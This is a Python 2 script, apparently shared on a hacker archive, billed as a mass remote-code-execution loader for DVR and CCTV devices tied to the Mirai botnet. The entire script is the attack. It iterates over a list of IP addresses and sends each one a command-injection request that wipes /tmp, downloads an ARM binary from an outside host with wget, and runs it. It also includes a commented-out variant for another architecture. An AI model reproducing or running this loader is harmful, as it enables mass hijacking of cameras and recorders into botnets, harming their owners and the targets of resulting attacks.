[ MASS CAM EXPLOIT LOADER] [RCE] [MIRAI]

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# OVER 70 DIFFERENT DVR VENDORS RCE EXPLOIT LOADER MADE BY B4CKDOOR #
# B4CKDOORARCHIVE.HOST | JOIN DISCORD BY WEBSITE INVITE LINK #
import threading, sys, time, random, socket, re, os, struct, array, requests
from threading import Thread
from time import sleep
import requests
from requests.auth import HTTPDigestAuth
from decimal import *

if len(sys.argv) < 3:
    print "\033[37mUsage: python "+sys.argv[0]+" <list> <port>\033[37m"
    sys.exit()

ips = open(sys.argv[1], "r").readlines()
port = int(sys.argv[2]) # PORTS 81 80 9000 8081 3702 88 8080 82 8000 5000 7000 8181

class b4ckdoor(threading.Thread):
        def __init__ (self, ip):
            threading.Thread.__init__(self)
            self.ip = str(ip).rstrip('\n')
        def run(self):
            try:
                print "[CCTV|DVR] Infecting - " + self.ip
                url = "http://" + self.ip + ":"+port+"/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://1.3.3.7/Ares.arm7;sh${IFS}/tmp/Ares.arm7&>r&&tar${IFS}/string.js"
                #url2 = "http://" + self.ip + ":"+port+"/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://1.3.3.7/Ares.arm;sh${IFS}/tmp/Ares.arm&>r&&tar${IFS}/string.js"
                     #SENDING DOUBLE PAYLOAD WITH DIFFERENT ARCH, IF WENT IT REMOVE THE # to requests.get and url2
                requests.get(url, timeout=3)
                #requests.get(url2, timeout=2.5)

            except Exception as e:
                pass
for ip in ips:
    try:
        n = b4ckdoor(ip)
        n.start()
        time.sleep(0.03)
    except:
        pass#CODED BY B4CKDOOR